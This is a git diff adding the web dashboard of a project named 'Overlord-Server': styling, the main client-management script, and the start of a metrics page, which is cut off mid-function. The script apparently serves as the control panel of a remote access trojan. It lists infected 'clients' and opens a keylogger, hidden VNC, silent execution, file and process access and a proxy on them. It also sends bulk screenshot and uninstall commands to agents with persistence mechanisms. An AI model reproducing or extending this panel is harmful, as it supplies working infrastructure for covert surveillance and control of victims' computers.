+} + +.counter-animate { + animation: countUp 0.5s ease-out; +} + +.login-btn-particle { + position: fixed; + pointer-events: none; + border-radius: 50%; + background: radial-gradient( + circle, + rgba(150, 120, 255, 1), + rgba(100, 130, 255, 0.9) + ); + box-shadow: + 0 0 12px rgba(150, 120, 255, 1), + 0 0 24px rgba(120, 100, 255, 0.9), + 0 0 36px rgba(100, 130, 255, 0.7); + opacity: 0; + will-change: transform, opacity; +} + +.btn-text { + margin-right: 8px; +} + +.btn-icon { + transition: transform 0.3s ease; +} + +.button.primary:hover .btn-icon { + transform: translateX(4px); +} + +.error { + color: #ff9b9b; + min-height: 18px; + margin-top: 12px; + font-size: 13px; + text-align: center; + padding: 8px; + border-radius: 8px; + background: rgba(255, 99, 99, 0.1); + border: 1px solid rgba(255, 99, 99, 0.2); + opacity: 0; +} + +.error:not(:empty) { + opacity: 1; +} + +.console-body { + background: + radial-gradient(120% 120% at 20% 20%, #102040 0%, transparent 45%), + radial-gradient(110% 110% at 80% 0%, #112233 0%, transparent 50%), #05070f; + min-height: 100vh; + color: #e8edf2; + font-family: + "Inter", + "Segoe UI", + system-ui, + -apple-system, + sans-serif; +} + +.console-topbar { + position: sticky; + top: 0; + z-index: 20; + display: flex; + align-items: center; + justify-content: space-between; + gap: 12px; + padding: 14px 18px; + background: rgba(5, 9, 18, 0.9); + border-bottom: 1px solid rgba(255, 255, 255, 0.08); + backdrop-filter: blur(10px); +} + +.console-actions { + display: flex; + align-items: center; + gap: 10px; + flex-wrap: wrap; +} + +.console-main { + padding: 16px; + max-width: 1100px; + margin: 0 auto; +} + +.console-card { + background: linear-gradient( + 145deg, + rgba(40, 55, 90, 0.35), + rgba(12, 18, 30, 0.9) + ); + border: 1px solid var(--color-border); + border-radius: var(--radius-lg); + padding: 16px; + box-shadow: 0 16px 40px rgba(0, 0, 0, 0.45); + display: flex; + flex-direction: column; + gap: 12px; +} + +.console-meta { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(140px, 1fr)); + gap: 10px; + padding: 8px; + border-radius: 12px; + background: rgba(255, 255, 255, 0.04); + border: 1px solid rgba(255, 255, 255, 0.06); +} + +.console-target-id { + font-weight: 600; + color: #f8fbff; + word-break: break-all; +} + +.console-output { + min-height: 46vh; + max-height: 68vh; + white-space: normal; + width: 100%; + max-width: 100%; + min-width: 0; + overflow: auto; + overflow-x: auto; + box-sizing: border-box; + padding: 14px; + border-radius: 14px; + background: + radial-gradient( + 120% 120% at 20% 20%, + rgba(80, 120, 255, 0.08), + transparent 50% + ), + radial-gradient( + 80% 80% at 80% 0%, + rgba(24, 196, 164, 0.08), + transparent 60% + ), + #0b1020; + border: 1px solid rgba(255, 255, 255, 0.08); + font-family: "JetBrains Mono", "SFMono-Regular", Menlo, Consolas, monospace; + font-size: 13px; + line-height: 1.5; + overflow-wrap: normal; + word-break: normal; +} + +.console-pre { + margin: 0; + white-space: pre; + display: block; + width: max-content; + min-width: 0; + text-align: left; +} + +.console-input-row { + display: grid; + grid-template-columns: auto 1fr auto; + gap: 10px; + align-items: end; + padding: 10px; + border-radius: 12px; + background: rgba(255, 255, 255, 0.04); + border: 1px solid rgba(255, 255, 255, 0.08); +} + +.console-input-row .prompt { + padding: 8px 10px; + border-radius: 10px; + background: rgba(255, 255, 255, 0.06); + color: #cfe0ff; + font-family: "JetBrains Mono", "SFMono-Regular", Menlo, Consolas, monospace; +} + +#console-input { + width: 100%; + min-height: 46px; + max-height: 200px; + resize: vertical; + border: 1px solid rgba(255, 255, 255, 0.08); + background: rgba(3, 7, 18, 0.8); + color: #e8edf2; + border-radius: 12px; + padding: 10px 12px; + font-family: "JetBrains Mono", "SFMono-Regular", Menlo, Consolas, monospace; + font-size: 14px; +} + +.console-buttons { + display: flex; + align-items: center; + gap: 8px; +} +.console-buttons .button { + display: inline-flex; + align-items: center; + gap: 6px; +} + +@media (max-width: 720px) { + .console-topbar { + flex-wrap: wrap; + } + .console-actions { + width: 100%; + justify-content: flex-start; + } + .console-input-row { + grid-template-columns: 1fr; + } + .console-input-row .prompt { + width: fit-content; + } + .console-buttons { + width: 100%; + justify-content: flex-start; + flex-wrap: wrap; + } + #console-input { + min-height: 60px; + } +} + +/* Search highlighting */ +mark.search-match { + background-color: rgba(250, 204, 21, 0.3); + color: inherit; + padding: 2px 0; + border-radius: 2px; +} + +mark.search-current { + background-color: rgba(251, 146, 60, 0.5); + color: inherit; + padding: 2px 0; + border-radius: 2px; + box-shadow: 0 0 0 2px rgba(251, 146, 60, 0.6); +} + +/* Dashboard polish */ +#top-nav { + box-shadow: 0 10px 30px rgba(2, 6, 23, 0.45); +} + +#top-nav nav a { + position: relative; + border-color: rgba(71, 85, 105, 0.55) !important; + box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.02); + transition: + transform 160ms ease, + border-color 160ms ease, + background-color 160ms ease, + box-shadow 160ms ease; +} + +#top-nav nav a i { + transition: + transform 160ms ease, + filter 160ms ease; +} + +#top-nav nav a:hover { + transform: translateY(-1px); + border-color: rgba(99, 102, 241, 0.45) !important; + box-shadow: + inset 0 1px 0 rgba(255, 255, 255, 0.04), + 0 8px 22px rgba(2, 6, 23, 0.28); +} + +#top-nav nav a:hover i { + transform: translateY(-1px) scale(1.06); + filter: drop-shadow(0 0 8px rgba(148, 163, 184, 0.35)); +} + +#top-nav nav a.nav-active { + border-color: rgba(99, 102, 241, 0.62) !important; + background: linear-gradient( + 135deg, + rgba(49, 46, 129, 0.45), + rgba(30, 41, 59, 0.9) + ) !important; + box-shadow: + inset 0 0 0 1px rgba(129, 140, 248, 0.18), + 0 10px 26px rgba(30, 64, 175, 0.24); +} + +#top-nav nav a.nav-active i { + filter: drop-shadow(0 0 10px rgba(129, 140, 248, 0.45)); +} + +#total-pill { + background: linear-gradient( + 135deg, + rgba(30, 58, 138, 0.55), + rgba(15, 23, 42, 0.75) + ) !important; + border-color: rgba(59, 130, 246, 0.5) !important; + box-shadow: 0 8px 20px rgba(30, 64, 175, 0.25); +} + +#filter-status, +#filter-os, +#sort { + transition: + border-color 150ms ease, + box-shadow 150ms ease, + background-color 150ms ease; +} + +#filter-status:focus, +#filter-os:focus, +#sort:focus { + border-color: rgba(99, 102, 241, 0.65) !important; + box-shadow: 0 0 0 3px rgba(99, 102, 241, 0.18); + outline: none; +} + +#search-shell { + transition: + border-color 150ms ease, + box-shadow 150ms ease, + background-color 150ms ease; +} + +#search-shell:focus-within { + border-color: rgba(99, 102, 241, 0.65) !important; + box-shadow: 0 0 0 3px rgba(99, 102, 241, 0.18); +} + +#select-all, +#clear-selection, +#prev, +#next { + transition: + transform 150ms ease, + border-color 150ms ease, + box-shadow 150ms ease; +} + +#select-all:hover, +#clear-selection:hover, +#prev:hover, +#next:hover { + transform: translateY(-1px); + border-color: rgba(99, 102, 241, 0.45) !important; + box-shadow: 0 8px 18px rgba(15, 23, 42, 0.4); +} + +#bulk-toolbar { + background: + radial-gradient( + 120% 120% at 0% 0%, + rgba(99, 102, 241, 0.15), + transparent 55% + ), + rgba(49, 46, 129, 0.3) !important; + border-color: rgba(99, 102, 241, 0.45) !important; + box-shadow: 0 10px 24px rgba(30, 41, 59, 0.32); +} + +#grid article.card { + position: relative; + overflow: hidden; + border-color: rgba(71, 85, 105, 0.55) !important; + backdrop-filter: blur(4px); + transition: + transform 170ms ease, + border-color 170ms ease, + box-shadow 170ms ease; +} + +#grid article.card:hover { + transform: translateY(-2px); + border-color: rgba(99, 102, 241, 0.45) !important; + box-shadow: + 0 18px 36px rgba(2, 6, 23, 0.45), + 0 0 0 1px rgba(99, 102, 241, 0.14); +} + +/* Cohesive UI polish layer */ +:root { + --ui-surface: rgba(8, 12, 24, 0.72); + --ui-surface-strong: rgba(11, 17, 33, 0.9); + --ui-surface-elevated: rgba(14, 22, 40, 0.94); + --ui-border: rgba(148, 163, 184, 0.2); + --ui-border-strong: rgba(99, 102, 241, 0.4); + --ui-ring: rgba(99, 102, 241, 0.28); + --ui-shadow: 0 14px 34px rgba(2, 6, 23, 0.35); +} + +body { + text-rendering: optimizeLegibility; + -webkit-font-smoothing: antialiased; +} + +.topbar, +.console-topbar, +#top-nav { + background: linear-gradient( + 170deg, + rgba(8, 12, 24, 0.92), + rgba(6, 10, 20, 0.84) + ); + border-bottom: 1px solid var(--ui-border); + box-shadow: 0 12px 30px rgba(2, 6, 23, 0.45); +} + +.container, +.console-main, +.page { + gap: 20px; +} + +.card, +.console-card, +.login-card, +.context-menu, +.modal { + backdrop-filter: blur(10px); + border-color: var(--ui-border); + box-shadow: var(--ui-shadow); +} + +.card, +.console-card { + transition: + transform 180ms ease, + border-color 180ms ease, + box-shadow 180ms ease, + background-color 180ms ease; +} + +.card:hover, +.console-card:hover { + border-color: var(--ui-border-strong); +} + +.button, +.context-menu button, +button { + transition: + transform 150ms ease, + border-color 150ms ease, + box-shadow 150ms ease, + background-color 150ms ease, + color 150ms ease; +} + +.button:hover:not(:disabled), +.context-menu button:hover, +button:hover:not(:disabled) { + transform: translateY(-1px); + border-color: var(--ui-border-strong); + box-shadow: 0 10px 22px rgba(2, 6, 23, 0.36); +} + +.button.primary { + background: linear-gradient(120deg, #4f6bff, #715dff); + border-color: rgba(129, 140, 248, 0.55); + box-shadow: + 0 10px 24px rgba(79, 70, 229, 0.35), + inset 0 1px 0 rgba(255, 255, 255, 0.2); +} + +.button.ghost { + background: linear-gradient( + 170deg, + rgba(30, 41, 59, 0.32), + rgba(15, 23, 42, 0.28) + ); + border-color: rgba(148, 163, 184, 0.24); +} + +.button.danger { + background: linear-gradient(130deg, rgba(185, 28, 28, 0.82), rgba(153, 27, 27, 0.9)); + border-color: rgba(248, 113, 113, 0.45); + color: #fee2e2; +} + +input:not([type="checkbox"]):not([type="radio"]):not([type="range"]), +select, +textarea, +.input-row, +#search, +#filter-status, +#filter-os, +#sort, +#console-input { + background-color: var(--ui-surface); + border-color: var(--ui-border); +} + +.input-row input, +#search { + background-color: transparent !important; + border-color: transparent !important; + box-shadow: none !important; +} + +input:not([type="checkbox"]):not([type="radio"]):not([type="range"]):focus, +select:focus, +textarea:focus, +.input-row:focus-within, +#filter-status:focus, +#filter-os:focus, +#sort:focus, +#console-input:focus { + border-color: var(--ui-border-strong) !important; + box-shadow: 0 0 0 3px var(--ui-ring); + outline: none; +} + +.pill, +.chip, +.user-pill { + border-color: rgba(148, 163, 184, 0.26); + background: linear-gradient( + 165deg, + rgba(30, 41, 59, 0.45), + rgba(15, 23, 42, 0.3) + ); +} + +table { + width: 100%; + border-collapse: collapse; + border: 1px solid var(--ui-border); + border-radius: 12px; + overflow: hidden; + background: var(--ui-surface-strong); +} + +thead th { + background: rgba(30, 41, 59, 0.65); + color: #dbe7ff; + font-weight: 600; + letter-spacing: 0.01em; + border-bottom: 1px solid var(--ui-border); +} + +th, +td { + padding: 10px 12px; + border-bottom: 1px solid rgba(148, 163, 184, 0.14); +} + +tbody tr:nth-child(even) { + background: rgba(15, 23, 42, 0.45); +} + +tbody tr:hover { + background: rgba(49, 46, 129, 0.2); +} + +* { + scrollbar-width: thin; + scrollbar-color: rgba(129, 140, 248, 0.55) rgba(15, 23, 42, 0.6); +} + +*::-webkit-scrollbar { + width: 10px; + height: 10px; +} + +*::-webkit-scrollbar-track { + background: rgba(15, 23, 42, 0.55); + border-radius: 999px; +} + +*::-webkit-scrollbar-thumb { + background: linear-gradient(180deg, rgba(99, 102, 241, 0.76), rgba(56, 189, 248, 0.7)); + border-radius: 999px; + border: 2px solid rgba(15, 23, 42, 0.75); +} + +*::-webkit-scrollbar-thumb:hover { + background: linear-gradient(180deg, rgba(129, 140, 248, 0.88), rgba(34, 211, 238, 0.84)); +} + +@media (prefers-reduced-motion: reduce) { + *, + *::before, + *::after { + animation-duration: 1ms !important; + animation-iteration-count: 1 !important; + transition-duration: 1ms !important; + scroll-behavior: auto !important; + } + + .login-btn, + .header-crown, + .status-online, + .card-animate { + animation: none !important; + } + + .card-animate { + opacity: 1 !important; + transform: none !important; + } +} diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js new file mode 100644 index 0000000..45bd402 --- /dev/null +++ b/Overlord-Server/public/assets/main.js @@ -0,0 +1,590 @@ +import { state } from "./state.js"; +import { debounce } from "./utils.js"; +import { createRenderer } from "./render.js"; +import { openMenu, closeMenu, openModal, wireModalClose, menu } from "./ui.js"; +import { + registerRenderer, + loadWithOptions, + startAutoRefresh, + sendCommand, + requestPreview, + requestThumbnail, +} from "./data.js"; + +const grid = document.getElementById("grid"); +const totalPill = document.getElementById("total-pill"); +const pageLabel = document.getElementById("page-label"); +const prevBtn = document.getElementById("prev"); +const nextBtn = document.getElementById("next"); +const searchInput = document.getElementById("search"); +const sortSelect = document.getElementById("sort"); +const filterStatusSelect = document.getElementById("filter-status"); +const filterOsSelect = document.getElementById("filter-os"); +const showOfflineToggle = document.getElementById("toggle-offline"); +const selectAllBtn = document.getElementById("select-all"); +const clearSelectionBtn = document.getElementById("clear-selection"); +const logoutBtn = document.getElementById("logout-btn"); +const usernameDisplay = document.getElementById("username-display"); +const roleBadge = document.getElementById("role-badge"); +const usersLink = document.getElementById("users-link"); +const buildLink = document.getElementById("build-link"); +const deployLink = document.getElementById("deploy-link"); + +const bulkToolbar = document.getElementById("bulk-toolbar"); +const selectedCountSpan = document.getElementById("selected-count"); +const bulkScreenshotBtn = document.getElementById("bulk-screenshot"); +const bulkDisconnectBtn = document.getElementById("bulk-disconnect"); +const bulkUninstallBtn = document.getElementById("bulk-uninstall"); +const bulkClearBtn = document.getElementById("bulk-clear"); +const selectedClients = new Set(); +let lastNonOnlineStatus = "all"; + +let currentUser = null; +let contextCard = null; +let availableOsList = new Set(); +const setContext = (id) => { + contextCard = id; +}; +const clearContext = () => { + contextCard = null; +}; + +async function loadCurrentUser() { + try { + const res = await fetch("/api/auth/me"); + if (res.ok) { + currentUser = await res.json(); + if (currentUser && currentUser.username && currentUser.role) { + if (!usernameDisplay || !roleBadge) { + return; + } + usernameDisplay.textContent = currentUser.username; + + const roleBadges = { + admin: 'Admin', + operator: 'Operator', + viewer: 'Viewer', + }; + if (roleBadges[currentUser.role]) { + roleBadge.innerHTML = roleBadges[currentUser.role]; + } else { + roleBadge.textContent = currentUser.role || ""; + } + + if (currentUser.role === "admin") { + roleBadge.classList.add( + "bg-purple-900/50", + "text-purple-300", + "border", + "border-purple-800", + ); + } else if (currentUser.role === "operator") { + roleBadge.classList.add( + "bg-blue-900/50", + "text-blue-300", + "border", + "border-blue-800", + ); + } else { + roleBadge.classList.add( + "bg-slate-700", + "text-slate-300", + "border", + "border-slate-600", + ); + } + + if (currentUser.role === "admin") { + usersLink?.classList.remove("hidden"); + } + + if (currentUser.role === "admin" || currentUser.role === "operator") { + buildLink?.classList.remove("hidden"); + } + + if (currentUser.role === "admin") { + const pluginsLink = document.getElementById("plugins-link"); + pluginsLink?.classList.remove("hidden"); + deployLink?.classList.remove("hidden"); + document.getElementById("menu-silent-exec")?.classList.remove("hidden"); + } + + const scriptsLink = document.getElementById("scripts-link"); + if (currentUser.role !== "viewer") { + scriptsLink?.classList.remove("hidden"); + } + + initializeRenderer(); + } + + initializeRenderer(); + } else { + window.location.href = "/login.html"; + } + } catch (err) { + console.error("Failed to load user:", err); + } +} + +async function loadPluginsForClient(clientId) { + const section = document.getElementById("plugin-section"); + const container = document.getElementById("plugin-menu"); + if (!section || !container) return; + container.innerHTML = ""; + section.classList.add("hidden"); + + try { + const res = await fetch(`/api/clients/${clientId}/plugins`); + if (!res.ok) return; + const data = await res.json(); + const plugins = Array.isArray(data.plugins) ? data.plugins : []; + if (!plugins.length) return; + + section.classList.remove("hidden"); + for (const plugin of plugins) { + if (plugin.enabled === false) { + continue; + } + const btn = document.createElement("button"); + btn.className = + "w-full text-left px-3 py-2 rounded-lg border border-slate-700 bg-slate-800/60 hover:bg-slate-700 text-slate-100 flex items-center gap-2 justify-between"; + btn.dataset.plugin = plugin.id; + btn.dataset.loaded = plugin.loaded ? "true" : "false"; + if (plugin.lastError) { + btn.title = `Last error: ${plugin.lastError}`; + } + const label = document.createElement("span"); + const labelIcon = document.createElement("i"); + labelIcon.className = "fa-solid fa-puzzle-piece"; + label.appendChild(labelIcon); + label.append(` ${plugin.name || plugin.id}`); + const badge = document.createElement("span"); + badge.className = + "text-[10px] uppercase tracking-wider px-2 py-0.5 rounded-full border" + + (plugin.loaded + ? " border-emerald-600 text-emerald-300 bg-emerald-900/40" + : " border-slate-600 text-slate-300 bg-slate-800/60"); + badge.textContent = plugin.loaded ? "loaded" : "available"; + btn.appendChild(label); + btn.appendChild(badge); + container.appendChild(btn); + + if (plugin.loaded) { + const unloadBtn = document.createElement("button"); + unloadBtn.className = + "w-full text-left px-3 py-2 rounded-lg border border-red-800 bg-red-900/30 hover:bg-red-800/60 text-red-100 flex items-center gap-2"; + unloadBtn.dataset.pluginUnload = plugin.id; + const unloadIcon = document.createElement("i"); + unloadIcon.className = "fa-solid fa-plug-circle-xmark"; + const unloadText = document.createElement("span"); + unloadText.textContent = `Unload ${plugin.name || plugin.id}`; + unloadBtn.appendChild(unloadIcon); + unloadBtn.appendChild(unloadText); + container.appendChild(unloadBtn); + } + } + } catch { + // ignore + } +} + +function initializeRenderer() { + const { renderMerge } = createRenderer({ + grid, + totalPill, + pageLabel, + openMenu: (id, x, y) => { + openMenu(id, x, y, setContext); + loadPluginsForClient(id); + }, + openModal, + requestPreview, + requestThumbnail, + userRole: currentUser?.role, + }); + registerRenderer(renderMerge); + loadWithOptions(); + startAutoRefresh(); + + if (typeof anime !== "undefined") { + anime + .timeline({ easing: "easeOutQuad" }) + .add({ + targets: "header", + opacity: [0, 1], + translateY: [-20, 0], + duration: 600, + }) + .add( + { + targets: "main > div > div:first-child", + opacity: [0, 1], + translateY: [15, 0], + duration: 500, + }, + "-=400", + ) + .add( + { + targets: "main > div > div:nth-child(2)", + opacity: [0, 1], + translateY: [15, 0], + duration: 500, + }, + "-=350", + ); + } +} + +if (logoutBtn && !logoutBtn.dataset.boundLogout) { + logoutBtn.dataset.boundLogout = "true"; + logoutBtn.addEventListener("click", async () => { + if (!confirm("Are you sure you want to logout?")) return; + + try { + const res = await fetch("/api/logout", { + method: "POST", + headers: { "Content-Type": "application/json" }, + }); + + if (res.ok) { + window.location.href = "/"; + } else { + alert("Logout failed. Please try again."); + } + } catch (err) { + console.error("Logout error:", err); + alert("Logout failed. Please try again."); + } + }); +} + +wireModalClose(); + +const debouncedSearch = debounce(() => { + state.page = 1; + state.lastDigest = ""; + loadWithOptions({ force: true }); +}, 200); + +searchInput?.addEventListener("input", (e) => { + state.searchTerm = e.target.value; + debouncedSearch(); +}); + +sortSelect?.addEventListener("change", (e) => { + state.sort = e.target.value; + state.page = 1; + state.lastDigest = ""; + loadWithOptions({ force: true }); +}); + +filterStatusSelect?.addEventListener("change", (e) => { + state.filterStatus = e.target.value; + if (state.filterStatus === "online") { + if (showOfflineToggle) showOfflineToggle.checked = false; + } else { + lastNonOnlineStatus = state.filterStatus; + if (showOfflineToggle) showOfflineToggle.checked = true; + } + state.page = 1; + state.lastDigest = ""; + loadWithOptions({ force: true }); +}); + +filterOsSelect?.addEventListener("change", (e) => { + state.filterOs = e.target.value; + state.page = 1; + state.lastDigest = ""; + loadWithOptions({ force: true }); +}); + +showOfflineToggle?.addEventListener("change", (e) => { + if (e.target.checked) { + state.filterStatus = lastNonOnlineStatus || "all"; + } else { + if (state.filterStatus !== "online") { + lastNonOnlineStatus = state.filterStatus; + } + state.filterStatus = "online"; + } + if (filterStatusSelect) { + filterStatusSelect.value = state.filterStatus; + } + state.page = 1; + state.lastDigest = ""; + loadWithOptions({ force: true }); +}); + +function updateBulkToolbar() { + selectedCountSpan.textContent = selectedClients.size; + if (selectedClients.size > 0) { + bulkToolbar?.classList.remove("hidden"); + } else { + bulkToolbar?.classList.add("hidden"); + } +} + +function toggleClientSelection(clientId) { + const checkbox = document.querySelector( + `.client-checkbox[data-id="${clientId}"]`, + ); + if (!checkbox) return; + + if (checkbox.checked) { + selectedClients.add(clientId); + } else { + selectedClients.delete(clientId); + } + updateBulkToolbar(); +} + +function syncSelectionState() { + document.querySelectorAll(".client-checkbox").forEach((cb) => { + const id = cb.dataset.id; + if (!id) return; + cb.checked = selectedClients.has(id); + }); + updateBulkToolbar(); +} + +bulkClearBtn?.addEventListener("click", () => { + selectedClients.clear(); + document + .querySelectorAll(".client-checkbox") + .forEach((cb) => (cb.checked = false)); + updateBulkToolbar(); +}); + +clearSelectionBtn?.addEventListener("click", () => { + selectedClients.clear(); + document + .querySelectorAll(".client-checkbox") + .forEach((cb) => (cb.checked = false)); + updateBulkToolbar(); +}); + +selectAllBtn?.addEventListener("click", () => { + document + .querySelectorAll(".client-checkbox:not(:disabled)") + .forEach((cb) => { + cb.checked = true; + if (cb.dataset.id) { + selectedClients.add(cb.dataset.id); + } + }); + updateBulkToolbar(); +}); + +bulkScreenshotBtn?.addEventListener("click", async () => { + if (!confirm(`Take screenshot on ${selectedClients.size} client(s)?`)) return; + + let success = 0; + for (const clientId of selectedClients) { + const ok = await sendCommand(clientId, "screenshot"); + if (ok) success++; + } + + alert(`Screenshots sent to ${success}/${selectedClients.size} clients`); + selectedClients.clear(); + document + .querySelectorAll(".client-checkbox") + .forEach((cb) => (cb.checked = false)); + updateBulkToolbar(); + setTimeout(() => loadWithOptions({ force: true }), 400); +}); + +bulkDisconnectBtn?.addEventListener("click", async () => { + if ( + !confirm( + `Disconnect ${selectedClients.size} client(s)? This will close their connections.`, + ) + ) + return; + + let success = 0; + for (const clientId of selectedClients) { + const ok = await sendCommand(clientId, "disconnect"); + if (ok) success++; + } + + alert(`Disconnected ${success}/${selectedClients.size} clients`); + selectedClients.clear(); + document + .querySelectorAll(".client-checkbox") + .forEach((cb) => (cb.checked = false)); + updateBulkToolbar(); + setTimeout(() => loadWithOptions({ force: true }), 1000); +}); + +bulkUninstallBtn?.addEventListener("click", async () => { + if ( + !confirm( + `Uninstall agent from ${selectedClients.size} client(s)?\n\nThis will remove all persistence mechanisms and terminate the agents. This action cannot be undone.`, + ) + ) + return; + + let success = 0; + for (const clientId of selectedClients) { + const ok = await sendCommand(clientId, "uninstall"); + if (ok) success++; + } + + alert(`Uninstall sent to ${success}/${selectedClients.size} clients`); + selectedClients.clear(); + document + .querySelectorAll(".client-checkbox") + .forEach((cb) => (cb.checked = false)); + updateBulkToolbar(); + setTimeout(() => loadWithOptions({ force: true }), 1000); +}); + +window.toggleClientSelection = toggleClientSelection; +window.isClientSelected = (clientId) => selectedClients.has(clientId); +window.syncClientSelection = syncSelectionState; +window.banClient = async (clientId) => { + if (!clientId) return; + if (!confirm(`Ban IP for ${clientId} and block future connections?`)) return; + try { + const res = await fetch(`/api/clients/${clientId}/ban`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + }); + if (!res.ok) { + const data = await res.json().catch(() => ({})); + alert(data.error || "Failed to ban client IP"); + return; + } + const data = await res.json().catch(() => ({})); + alert(`Banned IP ${data.ip || ""}`.trim()); + setTimeout(() => loadWithOptions({ force: true }), 400); + } catch (err) { + console.error(err); + alert("Failed to ban client IP"); + } +}; + +prevBtn?.addEventListener("click", () => { + if (state.page > 1) { + state.page -= 1; + state.lastDigest = ""; + loadWithOptions({ force: true }); + } +}); + +nextBtn?.addEventListener("click", () => { + state.page += 1; + state.lastDigest = ""; + loadWithOptions({ force: true }); +}); + +window.addEventListener("click", (e) => { + const target = e.target; + if (target.closest && target.closest(".command-btn")) return; + if (target.closest && target.closest(".modal")) return; + if (menu.contains(target)) return; + closeMenu(clearContext); +}); + +menu.addEventListener("click", async (e) => { + const target = e.target.closest("button"); + if (!target || !contextCard) return; + const pluginId = target.dataset.plugin; + if (pluginId) { + try { + const res = await fetch(`/api/clients/${contextCard}/plugins/${pluginId}/load`, { + method: "POST", + }); + if (!res.ok) { + const text = await res.text(); + alert(`Plugin load failed: ${text}`); + closeMenu(clearContext); + return; + } + window.open(`/plugins/${pluginId}?clientId=${contextCard}`, "_blank", "noopener"); + } catch (err) { + alert("Plugin load failed"); + } + closeMenu(clearContext); + return; + } + const unloadId = target.dataset.pluginUnload; + if (unloadId) { + await fetch(`/api/clients/${contextCard}/plugins/${unloadId}/unload`, { + method: "POST", + }); + closeMenu(clearContext); + return; + } + const open = target.dataset.open; + if (open === "console") { + window.open(`/${contextCard}/console`, "_blank", "noopener"); + closeMenu(clearContext); + return; + } + if (open === "remotedesktop") { + window.open(`/remotedesktop?clientId=${contextCard}`, "_blank", "noopener"); + closeMenu(clearContext); + return; + } + if (open === "hvnc") { + window.open(`/hvnc?clientId=${contextCard}`, "_blank", "noopener"); + closeMenu(clearContext); + return; + } + if (open === "files") { + window.open(`/${contextCard}/files`, "_blank", "noopener"); + closeMenu(clearContext); + return; + } + if (open === "processes") { + window.open(`/${contextCard}/processes`, "_blank", "noopener"); + closeMenu(clearContext); + return; + } + if (open === "keylogger") { + window.open(`/${contextCard}/keylogger`, "_blank", "noopener"); + closeMenu(clearContext); + return; + } + if (open === "proxy") { + window.open(`/${contextCard}/proxy`, "_blank", "noopener"); + closeMenu(clearContext); + return; + } + if (open === "silent-exec") { + window.open(`/deploy?clientId=${contextCard}`, "_blank", "noopener"); + closeMenu(clearContext); + return; + } + const action = target.dataset.action; + + if (action === "uninstall") { + if ( + !confirm( + `Uninstall agent from ${contextCard}?\n\nThis will remove all persistence mechanisms and terminate the agent. This action cannot be undone.`, + ) + ) { + closeMenu(clearContext); + return; + } + } else if (action === "disconnect") { + if ( + !confirm( + `Disconnect ${contextCard}?\n\nThis will terminate the agent connection.`, + ) + ) { + closeMenu(clearContext); + return; + } + } + + const ok = await sendCommand(contextCard, action); + if (ok) { + setTimeout(() => loadWithOptions({ force: true }), 400); + } + closeMenu(clearContext); +}); + +loadCurrentUser(); diff --git a/Overlord-Server/public/assets/metrics.js b/Overlord-Server/public/assets/metrics.js new file mode 100644 index 0000000..2ca5c81 --- /dev/null +++ b/Overlord-Server/public/assets/metrics.js @@ -0,0 +1,600 @@ +let clientsChart = null; +let commandsChart = null; +let countryMap = null; +let countriesLayer = null; +let countryCounts = {}; +let maxCountryCount = 0; +let latestByCountry = {}; + +const GEOJSON_URL = + "https://cdn.jsdelivr.net/gh/datasets/geo-countries@master/data/countries.geojson"; + +if (typeof Chart !== "undefined") { + Chart.defaults.color = "#cbd5e1"; + Chart.defaults.borderColor = "rgba(100, 116, 139, 0.25)"; + Chart.defaults.font.family = "Inter, system-ui, sans-serif"; +} + +function initCharts() { + const clientsCtx = document.getElementById("clients-chart"); + const commandsCtx = document.getElementById("commands-chart"); + + clientsChart = new Chart(clientsCtx, { + type: "line", + data: { + labels: [], + datasets: [ + { + label: "Clients Online", + data: [], + borderColor: "rgb(96, 165, 250)", + backgroundColor: "rgba(96, 165, 250, 0.1)", + fill: true, + tension: 0.4, + }, + ], + }, + options: { + responsive: true, + maintainAspectRatio: false, + plugins: { + legend: { display: false }, + tooltip: { + backgroundColor: "#0f172a", + titleColor: "#e2e8f0", + bodyColor: "#cbd5e1", + borderColor: "#334155", + borderWidth: 1, + }, + }, + scales: { + y: { + beginAtZero: true, + ticks: { color: "#94a3b8", stepSize: 1 }, + grid: { color: "rgba(100, 116, 139, 0.1)" }, + }, + x: { + ticks: { color: "#94a3b8", maxTicksLimit: 10 }, + grid: { color: "rgba(100, 116, 139, 0.1)" }, + }, + }, + }, + }); + + commandsChart = new Chart(commandsCtx, { + type: "line", + data: { + labels: [], + datasets: [ + { + label: "Commands/Min", + data: [], + borderColor: "rgb(192, 132, 252)", + backgroundColor: "rgba(192, 132, 252, 0.1)", + fill: true, + tension: 0.4, + }, + ], + }, + options: { + responsive: true, + maintainAspectRatio: false, + plugins: { + legend: { display: false }, + tooltip: { + backgroundColor: "#0f172a", + titleColor: "#e2e8f0", + bodyColor: "#cbd5e1", + borderColor: "#334155", + borderWidth: 1, + }, + }, + scales: { + y: { + beginAtZero: true, + ticks: { color: "#94a3b8" }, + grid: { color: "rgba(100, 116, 139, 0.1)" }, + }, + x: { + ticks: { color: "#94a3b8", maxTicksLimit: 10 }, + grid: { color: "rgba(100, 116, 139, 0.1)" }, + }, + }, + }, + }); +} + +function formatBytes(bytes) { + if (bytes === 0) return "0 B"; + const k = 1024; + const sizes = ["B", "KB", "MB", "GB", "TB"]; + const i = Math.floor(Math.log(bytes) / Math.log(k)); + return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + " " + sizes[i]; +} + +function escapeHtml(text) { + const div = document.createElement("div"); + div.textContent = text == null ? "" : String(text); + return div.innerHTML; +} + +function formatDuration(ms) { + const seconds = Math.floor(ms / 1000); + const minutes = Math.floor(seconds / 60); + const hours = Math.floor(minutes / 60); + const days = Math.floor(hours / 24); + + if (days > 0) return `${days}d ${hours % 24}h`; + if (hours > 0) return `${hours}h ${minutes % 60}m`; + if (minutes > 0) return `${minutes}m ${seconds % 60}s`; + return `${seconds}s`; +} + +function formatMs(value) { + if (!Number.isFinite(value)) return "0 ms"; + return `${Math.round(value)} ms`; +} + +function formatTime(timestamp) { + const date = new Date(timestamp); + return date.toLocaleTimeString("en-US", { + hour: "2-digit", + minute: "2-digit", + }); +} + +function animateCounter(element, newValue, duration = 800) { + const oldValue = parseInt(element.textContent.replace(/,/g, "")) || 0; + if (oldValue === newValue) return; + + const startTime = performance.now(); + const diff = newValue - oldValue; + + function update(currentTime) { + const elapsed = currentTime - startTime; + const progress = Math.min(elapsed / duration, 1); + + const easeOutQuad = progress * (2 - progress); + const current = Math.round(oldValue + diff * easeOutQuad); + + element.textContent = current.toLocaleString(); + element.classList.add("counter-animate"); + + if (progress < 1) { + requestAnimationFrame(update); + } else { + 